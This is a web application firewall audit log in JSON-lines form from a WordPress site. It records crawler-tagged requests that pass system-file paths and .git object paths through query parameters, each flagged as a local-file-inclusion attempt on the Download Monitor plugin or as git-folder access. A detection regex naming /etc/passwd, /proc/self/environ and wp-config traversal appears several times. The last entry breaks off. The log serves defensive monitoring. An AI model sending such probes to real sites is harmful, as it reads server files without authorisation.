{"transaction":{"time":"13/Mar/2026:01:59:54.679479 +0100","transaction_id":"abNhivGYjQkrq8Uo_EwIKQAAAIE","remote_address":"57.141.20.14","remote_port":58838,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php7.0/lib/php/build/libtool.m4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.14","X-Forwarded-Proto":"https","X-Request-Id":"29cc347827556f601c8465e3b67ec056","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"28807469"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"29cc347827556f601c8465e3b67ec056","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php7.0/lib/php/build/libtool.m4||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":275,"p2":5648,"p3":0,"p4":0,"p5":444,"sr":131,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:01:15.776306 +0100","transaction_id":"abNh2ghXxndD9xDx47xSqAAAAEA","remote_address":"65.109.118.212","remote_port":52706,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"8e29eba363ad0c90614409ed0a29eee6","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31556433","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"8e29eba363ad0c90614409ed0a29eee6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":244,"p2":3924,"p3":0,"p4":0,"p5":335,"sr":123,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:01:28.870149 +0100","transaction_id":"abNh6AhXxndD9xDx47xSvwAAAE8","remote_address":"57.141.20.7","remote_port":59510,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/locale/it/LC_MESSAGES/binutils.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.7","X-Forwarded-Proto":"https","X-Request-Id":"0327759f1b6b4f69d7d6f93a065bef56","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"32016395"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0327759f1b6b4f69d7d6f93a065bef56","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/it/LC_MESSAGES/binutils.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":285,"p2":5539,"p3":0,"p4":0,"p5":228,"sr":160,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:02:03.938714 +0100","transaction_id":"abNiC6NDElJSaUY9M9GppQAAAMM","remote_address":"57.141.20.46","remote_port":52770,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/o/opennt-25 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"8a8e3bf180109df1eee5d160f6a5f913","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29137580"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8a8e3bf180109df1eee5d160f6a5f913","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/o/opennt-25||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":300,"p2":6827,"p3":0,"p4":0,"p5":393,"sr":140,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:02:04.680991 +0100","transaction_id":"abNiDAhXxndD9xDx47xTKwAAAE8","remote_address":"57.141.20.32","remote_port":59510,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9a/836fe3e4136861aa306f75be06434abd80dd13 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"7c4bca10083a8892a6292ea8723d4fbd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30901683"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7c4bca10083a8892a6292ea8723d4fbd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9a/836fe3e4136861aa306f75be06434abd80dd13||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":315,"p2":6573,"p3":0,"p4":0,"p5":345,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:03:18.650418 +0100","transaction_id":"abNiVX6c0W8rkQnlo8JJfwAAAdA","remote_address":"57.141.20.32","remote_port":49670,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/23/72d91b567ba7092f72f34d2ceb60c0bc8f010f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"cc0c1d60bfce57e5094b43035341803d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18264456"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cc0c1d60bfce57e5094b43035341803d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/23/72d91b567ba7092f72f34d2ceb60c0bc8f010f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":377,"p2":14993,"p3":0,"p4":0,"p5":354,"sr":245,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:03:24.940856 +0100","transaction_id":"abNiW1WNXJO_mmQISINR5wAAAVQ","remote_address":"57.141.20.22","remote_port":38548,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/6a/508207ffb7187d7bba6c1f053b6ba6216f903c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"c925cfb313f109d7261337a78b0b3fb9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"26351885"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c925cfb313f109d7261337a78b0b3fb9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/6a/508207ffb7187d7bba6c1f053b6ba6216f903c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":304,"p2":5616,"p3":0,"p4":0,"p5":358,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:15.087796 +0100","transaction_id":"abNijVWNXJO_mmQISINSMwAAAVM","remote_address":"57.141.20.51","remote_port":45342,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/e1/b3c2c44de86b91e0ca6676f7e32f518cd9bd7a HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.51","X-Forwarded-Proto":"https","X-Request-Id":"dce3436869d2e1165328613c8a0c7ba2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29659425"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dce3436869d2e1165328613c8a0c7ba2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/e1/b3c2c44de86b91e0ca6676f7e32f518cd9bd7a||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":360,"p2":11530,"p3":0,"p4":0,"p5":414,"sr":4151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:21.695329 +0100","transaction_id":"abNik6NDElJSaUY9M9GrbAAAAME","remote_address":"57.141.20.36","remote_port":49424,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/nds_NL/LC_ADDRESS HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"347c55bbf71c0dc7e7c78bf901ff8ed5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31000940"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"347c55bbf71c0dc7e7c78bf901ff8ed5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/nds_NL/LC_ADDRESS||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":337,"p2":7604,"p3":0,"p4":0,"p5":487,"sr":158,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:27.674657 +0100","transaction_id":"abNimghXxndD9xDx47xVEQAAAEE","remote_address":"57.141.20.9","remote_port":45366,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/27/e0acdea803c1cd3adee24a606a930a18b29cdd HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"c9e3c79fdc6e170369311b24f39de843","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11546559"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c9e3c79fdc6e170369311b24f39de843","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/27/e0acdea803c1cd3adee24a606a930a18b29cdd||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":399,"p2":10883,"p3":0,"p4":0,"p5":1408,"sr":169,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:31.611432 +0100","transaction_id":"abNinQhXxndD9xDx47xVGAAAAEE","remote_address":"57.141.20.18","remote_port":45366,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/78/5afd96abd9a47415147a71e658e5ba6b801877 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"b08014595737309fc2f56ffe495065e5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31885028"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b08014595737309fc2f56ffe495065e5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/78/5afd96abd9a47415147a71e658e5ba6b801877||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":428,"p2":9927,"p3":0,"p4":0,"p5":476,"sr":180,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:34.615023 +0100","transaction_id":"abNinwhXxndD9xDx47xVHQAAAEg","remote_address":"57.141.20.16","remote_port":41484,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e7/230a0665372b5c3014f3e231a0dd01d69f64ef HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.16","X-Forwarded-Proto":"https","X-Request-Id":"56376eabcc6a4637d9065cae2208cb34","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"19667851"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"56376eabcc6a4637d9065cae2208cb34","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e7/230a0665372b5c3014f3e231a0dd01d69f64ef||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":331,"p2":7786,"p3":0,"p4":0,"p5":528,"sr":169,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:02:04:35.230600 +0100","transaction_id":"abNiolWNXJO_mmQISINSZwAAAUU","remote_address":"57.141.20.56","remote_port":44446,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/iso_639-2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"fb333cf8381fe51acb36da381690012b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30772482"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fb333cf8381fe51acb36da381690012b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match 